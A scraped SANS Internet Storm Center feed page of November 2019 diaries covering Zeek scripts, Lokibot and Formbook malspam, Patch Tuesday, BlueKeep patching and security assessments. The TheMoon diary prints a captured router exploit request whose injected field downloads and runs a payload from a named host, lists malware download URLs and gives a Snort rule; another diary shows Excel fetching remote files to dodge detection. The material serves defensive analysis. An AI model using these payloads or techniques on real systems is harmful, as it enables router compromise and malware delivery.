SANS

Subscribe to SANS hírcsatorna SANS
SANS Internet Storm Center - Cooperative Cyber Security Monitor
Frissítve: 1 óra 42 perc
2019. november 15.

ISC Stormcast For Friday, November 15th 2019 https://isc.sans.edu/podcastdetail.html?id=6752, (Fri, Nov 15th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 14.

Some packet-fu with Zeek (previously known as bro), (Mon, Nov 11th)

During an incident response process, one of the fundamental variables to consider is speed. If a net capture is being made where we can presumably find evidence that who and how is causing an incident, any second counts in order to anticipate the attacker in the cyber kill chain sequence.

We need to use a passive approach in the analysis of network traffic to be quick in obtaining results. Zeek is a powerful tool to use in these scenarios. It is a tool with network traffic processing capabilities for application level protocols (DCE-RPC, DHCP, DNP3, DNS, FTP, HTTP, IMAP, IRC, KRB, MODBUS, MQTT, MYSQL, NTLM, NTP, POP3, RADIUS, RDP, RFB, SIP, SMB, SMTP, SOCKS, SSH, SSL, SYSLOG, TUNNELS, XMPP), pattern search and a powerful scripting language to process what the incident responder might require.

Zeek scripts work through events. We can find a summary of all possible events that can be used at https://docs.zeek.org/en/stable/scripts/base/bif/event.bif.zeek.html. Next we will review those that will be covered by the examples of this diary:

  • new_connection: This event is raised everytime a new connection is detected.
  • zeek_done: This event is raised when the packet input is exhausted.
  • protocol_confirmation: This event is raised when zeek was able to confirm the protocol inside a specific connection.

We will cover three simple use cases in this diary:

  • Top talkers by source IP connection and new connections performed.
  • Top talkers by source IP and destination port, with new connections performed.
  • Number of connections confirmed by zeek for a specific IP address with a specific protocol.

Top talkers by source IP connection

The following script implements the use case:

global attempts: table[addr] of count &default=0; 
event new_connection (c: connection)
{
    local source = c$id$orig_h;
    local n = ++attempts[source];
}

event zeek_done ()
{
    local toplog=open("toptalkers.log");
    for (k in attempts)
        print toplog,fmt("%s %s",attempts[k],k);
    close(toplog);
}
 

Let's go through the script in detail:

  • We will store the result in the attempts table. We will store there IP addresses type addr and count the occurrences with type count.
  • Using the new_connection event, we traverse the capture counting source IP addresses that generate new connections.
  • Once the packet input is exhausted, using the zeek_done event we create the toptalkers.log file and write the information in the attempts table separated by blank spaces.

Let's see a snippet of the output:

We can get a sorted output:

Top talkers by source IP and destination port, with new connections performed

The following script implements the use case:

global attempts: table[addr,port] of count &default=0; 
event new_connection (c: connection)
{
    local source = c$id$orig_h;
    local the_port = c$id$resp_p;
    local n = ++attempts[source,the_port];
}

event zeek_done ()
{
    local toplog=open("toptalkers.log");
    for ([k,l] in attempts)
        print toplog,fmt("%s %s %s",attempts[k,l],k,l);
    close(toplog);
}
 

Let's review the differences from the previous one:

  • Table now includes ports. Therefore, a new type is included in declaration: port.
  • The source IP, the destination port and the counter for each repetition of this pair of data in the network capture are stored in the code within the new_connection event.
  • Information is written once packet processing is finished to file toptalkers.log.

Let's see a snippet of the script's output:

We can get a sorted output:

Number of connections confirmed by zeek for a specific IP address with a specific protocol

The following script implements the use case:

global attempts: table[addr,Analyzer::Tag] of count &default=0; 
event protocol_confirmation (c: connection, the_type: Analyzer::Tag, aid:count)
{
    local source = c$id$orig_h;
    local n = ++attempts[source,the_type];
}

event zeek_done ()
{
    local toplog=open("toptalkers.log");
    for ([k,l] in attempts)
        print toplog,fmt("%s,%s,%s",k,l,attempts[k,l]);
    close(toplog);
}
 

We can see the some new aspects:

  • The Analyzer::Tag attribute: When the protocol_confirmation event is raised, this attribute saves the protocol that was confirmed by zeek to be in the connection.
  • Information is stored in the table and then saved to a file within the zeek_done event.

Let's see a snippet of the script's output:

In my next diaries I will cover other interesting use cases with zeek using the frameworks that it has.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter: @manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 13.

ISC Stormcast For Wednesday, November 13th 2019 https://isc.sans.edu/podcastdetail.html?id=6750, (Wed, Nov 13th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 13.

An example of malspam pushing Lokibot malware, November 2019, (Wed, Nov 13th)

Introduction

I posted two diaries last year (2018) about Lokibot malware (sometimes spelled "Loki-bot").  One was in June 2018 and one was in December 2018.  It's been a while, so I wanted to share a recent example that came to my blog's admin email on Tuesday 2019-11-12.

The email

You can get a copy of the sanitized email from this Any.Run link.


Shown above:  A copy of the email opened in Thunderbird.

The attachment was a RAR archive (link) and the RAR archive contained a Windows executable file disguised as a PDF document (link).


Shown above:  The attached RAR archive and the extracted Windows executable file.

The infection traffic

Infection traffic is easily detectable by signatures from the EmergingThreats Open ruleset.


Shown above:  Traffic from an infection filtered in Wireshark.


Shown above:  TCP stream from one of the HTTP requests caused by my sample of Lokibot malware.


Shown above:  EmergingThreats alerts from an Any.Run sandbox analysis of the Windows executable file.

Post-infection forensics on an infected Windows host

I was able to infect a Windows 10 host in my lab environment, and Lokibot made itself persistent through the Windows registry.


Shown above:  Lokibot on an infected Windows host.


Shown above:  Windows registry update caused by Lokibot to stay persistent.

Final words

SHA256 hash of the email:

SHA256 hash of the attached RAR archive:

SHA256 hash of the extracted Windows executable file (Lokibot malware):

--
Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 12.

November 2019 Microsoft Patch Tuesday, (Tue, Nov 12th)

Microsoft today patched a total of 74 vulnerabilities. This patch Tuesday release also includes two advisories. 15 of the vulnerabilities are rated critical.

Two vulnerabilities had been disclosed prior to today, and one critical scripting engine vulnerability has already been exploited in the wild. The vulnerability, CVE-2019-1429, may lead to remote code execution due to memory corruption in the scripting engine. All current versions of Windows / Internet Explorer are affected. This is probably the most important issue you need to patch. At the recent "Pwn2Own" contest in Tokyo, JavaScript engine issues were used to breach anything from smart TV to smartphones via not-so-smart browsers.

The first publicly disclosed problem, a confidentiality issue with Trusted Platform Module (TPM) chip firmware, is probably not as severe. It only affects the ECDSA algorithm, which isn't used in Windows so far. Patching this issue will be difficult. You will need to update the TPM firmware (and the page Microsoft links to with details from the TPM manufacturer is down right now). Once updated, you need to re-enroll into security services. 

The second publicly known vulnerability affects the Microsoft Office Click-to-Run system (C2R). A crafted file could abuse these components to escalate privileges and execute code as System.

 

 

Description CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG) Azure Stack Spoofing Vulnerability %%cve:2019-1234%% No No - - Important     DirectWrite Information Disclosure Vulnerability %%cve:2019-1432%% No No - - Important 4.4 4.0 %%cve:2019-1411%% No No Less Likely Less Likely Important 4.4 4.0 Hyper-V Remote Code Execution Vulnerability %%cve:2019-0719%% No No Less Likely Less Likely Critical 8.0 7.2 %%cve:2019-0721%% No No Less Likely Less Likely Critical 8.0 7.2 Jet Database Engine Remote Code Execution Vulnerability %%cve:2019-1406%% No No Less Likely Less Likely Important 6.7 6.0 Latest Servicing Stack Updates ADV990001 No No - - Critical     Microsoft ActiveX Installer Service Elevation of Privilege Vulnerability %%cve:2019-1382%% No No Less Likely Less Likely Important 7.8 7.0 Microsoft Edge Security Feature Bypass Vulnerability %%cve:2019-1413%% No No - - Important 4.3 3.9 Microsoft Excel Information Disclosure Vulnerability %%cve:2019-1446%% No No Less Likely Less Likely Important     Microsoft Excel Remote Code Execution Vulnerability %%cve:2019-1448%% No No Less Likely Less Likely Important     Microsoft Exchange Remote Code Execution Vulnerability %%cve:2019-1373%% No No Less Likely Less Likely Critical     Microsoft Guidance for Vulnerability in Trusted Platform Module (TPM) ADV190024 Yes No - -       Microsoft Office ClickToRun Security Feature Bypass Vulnerability %%cve:2019-1449%% No No Less Likely Less Likely Important     Microsoft Office Excel Security Feature Bypass %%cve:2019-1457%% Yes No - - Important     Microsoft Office Information Disclosure Vulnerability %%cve:2019-1402%% No No Less Likely Less Likely Important     Microsoft Office Online Spoofing Vulnerability %%cve:2019-1445%% No No - - Important     %%cve:2019-1447%% No No - - Important     Microsoft Office Security Feature Bypass Vulnerability %%cve:2019-1442%% No No - - Important     Microsoft SharePoint Information Disclosure Vulnerability %%cve:2019-1443%% No No Less Likely Less Likely Important     Microsoft Windows Information Disclosure Vulnerability %%cve:2019-1381%% No No Less Likely Less Likely Important 6.6 5.9 Microsoft Windows Media Foundation Remote Code Execution Vulnerability %%cve:2019-1430%% No No - - Critical 7.3 6.6 Microsoft Windows Security Feature Bypass Vulnerability %%cve:2019-1384%% No No Less Likely Less Likely Important 8.5 7.6 Microsoft splwow64 Elevation of Privilege Vulnerability %%cve:2019-1380%% No No Less Likely Less Likely Important 7.8 7.0 NetLogon Security Feature Bypass Vulnerability %%cve:2019-1424%% No No Less Likely Less Likely Important 8.1 7.3 Open Enclave SDK Information Disclosure Vulnerability %%cve:2019-1370%% No No Less Likely Less Likely Important 7.0 6.3 OpenType Font Driver Information Disclosure Vulnerability %%cve:2019-1412%% No No - - Important 5.0 4.5 OpenType Font Parsing Remote Code Execution Vulnerability %%cve:2019-1456%% No No - - Important 7.8 7.0 %%cve:2019-1419%% No No Less Likely Less Likely Critical 7.8 7.0 Scripting Engine Memory Corruption Vulnerability %%cve:2019-1429%% No Yes Detected Detected Critical 6.4 5.8 %%cve:2019-1426%% No No - - Critical 4.2 3.8 %%cve:2019-1427%% No No - - Critical 4.2 3.8 %%cve:2019-1428%% No No - - Critical 4.2 3.8 VBScript Remote Code Execution Vulnerability %%cve:2019-1390%% No No More Likely More Likely Critical 6.4 5.8 Visual Studio Elevation of Privilege Vulnerability %%cve:2019-1425%% No No - - Important     Win32k Elevation of Privilege Vulnerability %%cve:2019-1434%% No No - - Important 7.0 6.3 %%cve:2019-1393%% No No More Likely More Likely Important 7.8 7.0 %%cve:2019-1394%% No No More Likely More Likely Important 7.8 7.0 %%cve:2019-1395%% No No More Likely More Likely Important 7.8 7.0 %%cve:2019-1396%% No No More Likely More Likely Important 7.8 7.0 %%cve:2019-1408%% No No More Likely More Likely Important 7.8 7.0 Win32k Graphics Remote Code Execution Vulnerability %%cve:2019-1441%% No No - - Critical 6.7 6.0 Win32k Information Disclosure Vulnerability %%cve:2019-1436%% No No More Likely More Likely Important 5.5 5.0 %%cve:2019-1440%% No No Less Likely Less Likely Important 5.0 4.5 Windows AppX Deployment Extensions Elevation of Privilege Vulnerability %%cve:2019-1385%% No No Less Likely Less Likely Important 7.8 7.0 Windows Certificate Dialog Elevation of Privilege Vulnerability %%cve:2019-1388%% No No Less Likely Less Likely Important 7.8 7.0 Windows Data Sharing Service Elevation of Privilege Vulnerability %%cve:2019-1417%% No No Less Likely Less Likely Important 7.8 7.0 %%cve:2019-1379%% No No - - Important 7.8 7.0 %%cve:2019-1383%% No No - - Important 7.8 7.0 Windows Denial of Service Vulnerability %%cve:2018-12207%% No No Less Likely Less Likely Important 4.7 4.2 %%cve:2019-1391%% No No Less Likely Less Likely Important 5.5 5.0 Windows Elevation of Privilege Vulnerability %%cve:2019-1420%% No No Less Likely Less Likely Important 7.8 7.0 %%cve:2019-1422%% No No Less Likely Less Likely Important 7.8 7.0 %%cve:2019-1423%% No No - - Important 7.8 7.0 Windows Error Reporting Information Disclosure Vulnerability %%cve:2019-1374%% No No Less Likely Less Likely Important 5.5 5.0 Windows GDI Information Disclosure Vulnerability %%cve:2019-1439%% No No Less Likely Less Likely Important 4.7 4.2 Windows Graphics Component Elevation of Privilege Vulnerability %%cve:2019-1433%% No No Less Likely Less Likely Important 7.0 6.3 %%cve:2019-1435%% No No More Likely More Likely Important 7.0 6.3 %%cve:2019-1437%% No No More Likely More Likely Important 7.0 6.3 %%cve:2019-1438%% No No More Likely More Likely Important 7.0 6.3 %%cve:2019-1407%% No No - - Important 7.8 7.0 Windows Hyper-V Denial of Service Vulnerability %%cve:2019-0712%% No No Less Likely Less Likely Important 5.8 5.2 %%cve:2019-1309%% No No Less Likely Less Likely Important 5.8 5.2 %%cve:2019-1310%% No No Less Likely Less Likely Important 5.8 5.2 %%cve:2019-1399%% No No Less Likely Less Likely Important 5.4 4.9 Windows Hyper-V Remote Code Execution Vulnerability %%cve:2019-1389%% No No - - Critical 7.6 6.8 %%cve:2019-1397%% No No Less Likely Less Likely Critical 7.6 6.8 %%cve:2019-1398%% No No Less Likely Less Likely Critical 7.6 6.8 Windows Installer Elevation of Privilege Vulnerability %%cve:2019-1415%% No No Less Likely Less Likely Important 7.8 7.0 Windows Kernel Elevation of Privilege Vulnerability %%cve:2019-1392%% No No - - Important 7.0 6.3 Windows Kernel Information Disclosure Vulnerability %%cve:2019-11135%% No No Less Likely Less Likely Important 4.7 4.2 Windows Modules Installer Service Information Disclosure Vulnerability %%cve:2019-1418%% No No Less Likely Less Likely Important 3.5 3.2 Windows Remote Procedure Call Information Disclosure Vulnerability %%cve:2019-1409%% No No Less Likely Less Likely Important 5.5 5.0 Windows Subsystem for Linux Elevation of Privilege Vulnerability %%cve:2019-1416%% No No Less Likely Less Likely Important 7.8 7.0 Windows TCP/IP Information Disclosure Vulnerability %%cve:2019-1324%% No No Less Likely Less Likely Important 5.3 4.9 Windows UPnP Service Elevation of Privilege Vulnerability %%cve:2019-1405%% No No Less Likely Less Likely Important 7.8 7.0

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 12.

ISC Stormcast For Tuesday, November 12th 2019 https://isc.sans.edu/podcastdetail.html?id=6748, (Tue, Nov 12th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 11.

Are We Going Back to TheMoon (and How is Liquor Involved)?, (Mon, Nov 11th)

Earlier today, we received an email from an analyst for a large corporation. He asked:

After setting up a dashboard to monitor for worm related traffic, a series of Suricata alerts began to fly in relation to 'The Moon.' These devices may have been vulnerable around the time that this article was written, and it is entirely possible that this has gone unnoticed. The traffic definitely seems to fit the profile, although, too few observations of this malware have been published to really compare and confirm from simple network analysis.

We wrote about the "Moon" worm back in 2014, over five years ago. So is this worm still making the rounds? I do indeed see a lot of "TheMoon" alerts in my logs. The one that fires the most is snort ID 29831: "SERVER-WEBAPP Linksys E-series HNAP TheMoon remote code execution attempt."
"TheMoon" infected Linksys devices. It took advantage of a vulnerability in the tmUnblock.cgi CGI script. The signature is looking for requests to that specific URL:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP Linksys E-series HNAP TheMoon remote code execution attempt"; flow:established,to_server; content:"/tmUnblock.cgi"; fast_pattern:only; http_uri; content:"ttcp_ip"; http_client_body; pcre:"/ttcp_ip=.*?([\x60\x3b\x7c]|[\x3c\x3e\x24]\x28|%60|%3b|%7c|%26|%3c%28|%3e%28|%24%28)/Pim"; metadata:policy balanced-ips drop, policy max-detect-ips drop, policy security-ips drop, ruleset community, service http; reference:url,isc.sans.edu/diary/Linksys+Worm+%28%22TheMoon%22%29+Captured/17630; classtype:attempted-admin; sid:29831; rev:3;)

The reference to the rule links to a diary from five years ago with the related attack traffic. To compare, I have traffic I captured recently against a honeypot:

POST /tmUnblock.cgi HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Liquor 1.0
Content-Length: 312
Content-Type: application/x-www-form-urlencoded

ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+loli%3B+wget+http%3A%2F%2Fardp.hldns.ru%2Floligang.mpsl%3B+chmod+777+loligang.mpsl%3B+.%2Floligang.mpsl+loligang.mpsl.linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

The payload is pretty much still the same. It again exploits the "tmUnblock/ttcp_ip" issue. Unlike the earlier exploit, the newer payload does not use an Authorization header. As we learned back with the original TheMoon, the authorization header was kind of optional, or at least the credentials didn't have to match the actual credentials for the router. The exploit looks a bit more streamlined but other than that similar. 

The second stage turns out to be challenging to recover. I wasn't able to connect to any of the recent download URLs. Sometimes these sites will only allow connections from IPs they scanned previously. Or they may just no longer be up and running. Here are some URLs I have seen in the last couple of days:

http://147.135.124.113/bins/linksys.cloudbot
http://142.44.251.105/mipsel
http://159.89.182.124/ankit/jno.mpsl
http://185.172.110.220/mipsel
http://ardp.hldns.ru/loligang.mpsl;

The user agent (Liquor 1.0) is also somewhat unique for this version, and used in other exploits against routers as well (e.g., some GPON exploits). I have only seen these exploits against port 8080, the default Linksys port. 
So what should you do? Likely, it is safe to ignore these scans. Unless a router responds (a tool like Zeek should quickly tell you if it does), I would ignore them or even turn off the signature. As soon as you have a web server listening on port 8080, you will see these scans. Of course, it can't hurt to set up a rule looking for outbound traffic to make sure you are not the home to any infected devices. A regular vulnerability scan of your network should also quickly identify vulnerable systems.

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 11.

ISC Stormcast For Monday, November 11th 2019 https://isc.sans.edu/podcastdetail.html?id=6746, (Mon, Nov 11th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 10.

Did the recent malicious BlueKeep campaign have any positive impact when it comes to patching?, (Sun, Nov 10th)

After a news of "mass exploitation" of a specific vulnerability hits mainstream media, even organizations that don’t have a formal (or any) patch management process in place usually start to smell the ashes and try to quickly apply the relevant patches. Since media coverage of the recent BlueKeep campaign was quite extensive, I wondered whether the number of vulnerable machines would start diminishing significantly as a result.

BlueKeep[1] has been with us for a while now. And although pretty much everyone in the security community expected/expects to see the vulnerability used to spread a worm (as it was with WannaCry and EternalBlue), this hasn’t happened so far. However on November 2nd, information about a – potentially significant – BlueKeep exploitation campaign was published[2], which at first seemed to indicate that just such a worm might be loose in the wild[3]. Although it turned out not to be a self-spreading malware, but a campaign in which the attackers used the Metasploit BlueKeep exploit (or an exploit similar to that one), many news sources reported on the attacks which managed to bring the vulnerability to the spotlight again. A question occurred to me at that point – was this scare enough to push those who still didn’t apply the patches to do so now?

Although without being able to directly scan all the potentially vulnerable machines in existence it is hard to say whether the media coverage had any definitive impact when it comes to patching, we can get some idea about the state of affairs before and after the campaign from Shodan. Or – to be exact – from data gathered from it over time. Since Shodan can identify some vulnerabilities (including %%cve:CVE-2019-0708%%/BlueKeep) in the systems it scans, determining how many BlueKeep vulnerable systems are connected to the internet[4] at any time should be quite straight-forward. However given the way Shodan works, this is not completely true.

Shodan scans different IP ranges over time in batches, which is why there may be significant peaks (lots of "new" vulnerable systems/systems with open ports in a scanned IP range) or valleys (lots of systems previously detected as vulnerable have been patched/their ports have been closed) in the data. Due to this behavior of Shodan, if we take a look at a chart of the number of detected BlueKeep vulnerable systems over the last two months, the results wouldn’t tell us much.


Luckily, with little context, we can make a bit more sense of the data. Although getting an exact absolute number of vulnerable systems is impossible, we can compare the number of vulnerable systems with the number of all systems responding on %%port:3389%% and get an approximate percentage of actually vulnerable/unpatched systems connected to the internet when compared to all potentially vulnerable systems connected to the internet. Although this is still far from exact, it can give us a much better idea of the state of affairs, as the following chart shows. It should be mentioned at this point that percentages of vulnerable systems vary widely across different countries[5].

As we may see, the percentage of vulnerable systems seems to be falling more or less steadily for the last couple of months and it appears that media coverage of the recent campaign didn’t do much to help it. And since there still appear to be hundreds of thousands of vulnerable systems out there, we have to hope that the worm everyone expects doesn’t arrive any time soon…

[1] https://en.wikipedia.org/wiki/BlueKeep
[2] https://doublepulsar.com/bluekeep-exploitation-activity-seen-in-the-wild-bd6ee6e599a6
[3] https://twitter.com/MalwareTechBlog/status/1190730471321112577
[4] https://untrustednetwork.net/en/2019/08/01/where-are-all-the-machines-affected-by-bluekeep-hiding/
[5] https://www.untrustednetwork.net/en/2019/08/10/where-are-all-the-machines-affected-by-bluekeep-hiding-part-2/

-----------
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 9.

Fake Netflix Update Request by Text, (Sat, Nov 9th)

In the past week, I have received texts asking to update my Netflix account information. It is obvious the URL listed in the text isn't Netflix. The text looks like this:

I downloaded the URL to see what the website look like using wget nfca03-novm19-h13[.]com which resolves to 146.0.76.74 located in the Netherlands. The webpage looks interesting but it is obvious it doesn't look like the real website. The inbound phone number is located in Canada and their real goal is to obtain fraudulent credit card information.

[1] https://whocallsinfo.com/6476146420
[2] https://isc.sans.edu/ipinfo.html?ip=146.0.76.74

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 8.

Microsoft Apps Diverted from Their Main Use, (Fri, Nov 8th)

This week, the CERT.eu[1] organized its yearly conference in Brussels. Across many interesting presentations, one of them covered what they called the "cat’n’mouse" game that Blue and Red teams are playing continuously. When the Blue team has detected an attack technique, they write a rule or implement a new control to detect or block it. Then, the Red team has to find an alternative attack path, and so one… A classic example is the detection of malicious via parent/child process relations. It’s quite common to implement the following simple rule (in Sigma[2] format):

logsource: category: process_creation product: windows detection: selection: ParentImage: - '*\WINWORD.EXE' - '*\EXCEL.EXE' - '*\POWERPNT.exe' - '*\MSPUB.exe' - '*\VISIO.exe' - '*\OUTLOOK.EXE' Image: - ‘*\powershell.exe' condition: selection fields: - CommandLine - ParentCommandLine falsepositives: - unknown level: high

How to read this rule: Generate an alert when a process 'powershell.exe' is launched and its parent process is a Microsoft Office tool. To bypass this, the Red team or attackers now can use an alternative path:

Office > WMI > Powershell

Microsoft tools are wonderful because they can be used in many alternative ways and diverted from their main use. Example, to pause a script for 10”, use the ping command:

C:\ISC\> ping -n 10 127.0.0.1 >NUL:

Much better than using a sleep() function in a malicious script that could trigger a sandbox alert.

How to become “stealthier” (from a network point of view!) when you need to download files from the wild Internet? How to grab files when you don't have access to a regular browser? Most of the Microsoft tools accept URLs as file names.

Let’s load a text file via Excel. It accepts filenames as argument and filenames can be URLs:

C:\Program Files (x86)\Microsoft Office\root\Office16>excel.exe https://blog.rootshell.be/robots.txt

All text files are directly loaded into Excel cells (1 line = 1 cell):

It is also possible to download binary files :

C:\Program Files (x86)\Microsoft Office\root\Office16>excel.exe https://blog.rootshell.be/wp-content/uploads/2015/12/isc.jpg

When the binary file is loaded in Excel, you can't “see” it:

But the good news, a copy of the file is saved locally in the following directory:

%USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache\IE\...

Tip: Those directories are hidden!

From a network evidence point of view, the HTTP request is performed with a specific User-Agent:

<redacted> - - [07/Nov/2019:16:40:38 +0100] “GET /wp-content/uploads/2015/12/isc.jpg HTTP/1.1" 200 5031 "-" "Microsoft Office Excel 2014”

If you try to fetch a more sensitive file like a PE file, you will get a warning from Excel:

C:\Program Files (x86)\Microsoft Office\root\Office16>excel.exe https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe

But the file will be downloaded anyway and available in the same directory!

No magic behind this, all Microsoft apps are compatible with HTTP objects and can GET/PUT/POST data. It's not bullet-proof and can be easily detected but, as I said above, it means more work for the Blue team that needs to track this behavior. It's an easy way to bypass a light AppLocker setup that would prevent users to execute a browser on a sensitive workstation.

[1] https://cert.europa.eu
[2] https://github.com/Neo23x0/sigma

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 8.

ISC Stormcast For Friday, November 8th 2019 https://isc.sans.edu/podcastdetail.html&#x3f;id=6744, (Fri, Nov 8th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 7.

Getting the best value out of security assessments, (Thu, Nov 7th)

Since my day job is all about hacking, I get a lot of questions (and there appears to be a lot of confusion) about what a vulnerability scan, penetration test or red team assessment is.
This article is my attempt to clear that a little bit - it was already published LeMagIT, but in French (https://www.lemagit.fr/tribune/Retirer-toute-la-valeur-des-evaluations-de-securite), so here's a version in English :-) With that said, here we go ... 

 

There are many aspects to managing vulnerabilities in today’s complex IT environments. Performing security assessments is a popular way of identifying existing vulnerabilities, which then allows for proper mitigation. In this article we look at the differences between vulnerability scanning, penetration testing and red teaming, three security assessments that are popular, but that should be performed with care, in order to achieve best results.

Deciding which security assessment to perform depends a lot on an organisation’s security maturity level, and the best results will be achieved by performing them exactly in the order listed – let’s see why.

Vulnerability scanning (assessments) is something that every organisation should be doing on a regular basis. This is the first, and the most basic activity in managing vulnerabilities: the goal of a vulnerability scanner is to find low-hanging fruit and known vulnerabilities or misconfigurations. Vulnerability scanners will do a great job of enumerating installed patches, finding default accounts and misconfigurations. Modern scanners can also authenticate against target systems (log in), which will allow them to list installed patches and correlate such information with actively obtained data from a scan, thereby reducing false positive reports.

It is recommended that vulnerability scanning is performed regularly in every organisation, preferably with internal tools. The most popular network vulnerability scanners are Rapid7 Nexpose, Tenable Nessus and Qualys. Just keep in mind that these should be used for network scanning, while other, more specialised tools exist for application level scanning (i.e. for web applications).

Penetration testing should be the next step. When deciding on a penetration test, scoping is very important: the goal of a penetration test is to find all (or at least, as many as possible) of the vulnerabilities in the target scope. The target scope can be a set of IP addresses or networks (when we talk about a network penetration test), a web application, web services and so on.

Since a penetration tester is normally limited in time (typically penetration tests last between 5-15 working days), it’s obvious that the whole process should be as efficient as possible. This means that the scope should be as clearly defined as possible, and that any potential obstacles should be removed. For example, if you are testing a mobile application, it would be beneficial to provide a build without obfuscation for your penetration tester: we know what obfuscation can be circumvented and by providing such a build, the penetration tester will not waste time on deobfuscation, but on finding vulnerabilities.

Additionally, a penetration test will also test for vulnerabilities that a vulnerability scanner cannot find – for example, logic vulnerabilities. Business logic vulnerabilities are almost impossible for a vulnerability scanner to identify (at least for today’s tools), and they can be devastating. A good example is, if you are a bank and have an Internet banking web application; an attacker logs in and tries to create a transaction of -100 EUR, resulting in the payer receiving the funds instead of a payee. Or, another very common category of vulnerabilities is Direct Object Reference (DOR), when attackers try to access objects (for example, transaction records) belonging to arbitrary users by modifying object references. Since object references are typically just numbers (IDs), modification is easy, yet many scanners will miss such vulnerabilities since they do not understand the context i.e. the fact that by changing an ID and retrieving someone else’s transaction record means we have found a critical vulnerability.

The result of a penetration test is a report that should detail all identified vulnerabilities, with recommendations on how to fix them. All listed vulnerabilities should be verified by the penetration tester – there should be no false positives there!

It is now clear that penetration tests require a lot of manual work – that’s why they take quite a long time and are typically more expensive than a vulnerability assessment.

Finally, a red team exercise is the ultimate test of any organisation’s defences. In a red team exercise, the attackers are given a final goal and they can typically use any means they want to achieve their goal. This might include writing new exploits, using social engineering, moving laterally and so on.

The main difference between a red team exercise and a penetration test is that with a red team exercise there is one ultimate goal, while a penetration test aims to find all vulnerabilities in the defined scope. A red team exercise might miss some vulnerabilities and never report them, but it will show you how you stand against a real attacker. Quite often a red team exercise is a good test of an organisation’s blue team – it will show how good they are in detecting attacks and potentially preventing them while they are happening.

Although the above is the ideal process for managing vulnerabilities within an organization, ultimately, deciding which security assessment to select also depends on the maturity level of the organisation. If, for example, the target organisation is not regularly patching its servers, there is no point in doing a penetration test or a red team exercise as even the basic security hygiene is lacking. This must first be addressed. It is only after low-hanging fruit has been taken care of, that a more sophisticated security assessment should be performed.

Likewise, if an organisation is releasing a new application, for example, then a penetration test might be more suitable since the goal will be to find all the vulnerabilities in the new application. And, if you have already tested the majority of your services, and have a trained blue team, a red team exercise will help show how prepared the organisation is against a real world attack.

--
Bojan
@bojanz
INFIGO IS

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 7.

Infocon: green

ISC Stormcast For Thursday, November 7th 2019 https://isc.sans.edu/podcastdetail.html?id=6742
2019. november 7.

ISC Stormcast For Thursday, November 7th 2019 https://isc.sans.edu/podcastdetail.html&#x3f;id=6742, (Thu, Nov 7th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 6.

ISC Stormcast For Wednesday, November 6th 2019 https://isc.sans.edu/podcastdetail.html&#x3f;id=6740, (Wed, Nov 6th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2019. november 6.

More malspam pushing Formbook, (Wed, Nov 6th)

Introduction

Formbook is an information stealer that has been active since early 2016.  My previous diary about Formbook was in February 2018, and not much has changed since then.  We still see malicious spam (malspam) pushing Formbook through malicious attachments.  A quick check through Twitter or URLhaus reveals several items tagged as Formbook in recent weeks.

Today's diary reviews a recent Formbook infection from Tuesday 2019-11-05.

The email

The email I found was very generic.  It had an attached RTF document designed to exploit vulnerable versions of Microsoft Office when opened in Microsoft Word.


Shown above:  An example of malspam using an attached RTF document to distribute Formbook.

The attachment

The attached RTF document was Quotation.doc and used an exploit, probably CVE-2017-11882 to infect a vulnerable computer with Formbook.  It was filled with German text followed by random characters used for the exploit.


Shown above:  The malicious RTF document when viewed in Microsoft Word.

The infected Windows host

The infected Windows host had a Windows executable file for Formbook made persitent through a Windows registry entry.  Under the user's AppData\Roaming directory, the infected Windows host had a folder that included a screenshot of the desktop, and it included text files with stolen usernames and password information.


Shown above:  Formbook executable made persistent on the infected Windows host.


Shown above: Directory with a screenshot of the desktop and text files with stolen login credentials.

The infection traffic

Infection traffic was typical for Formbook, very similar to patters we saw in my previous diary about Formbook.


Shown above: Traffic from the infection filtered in Wireshark.


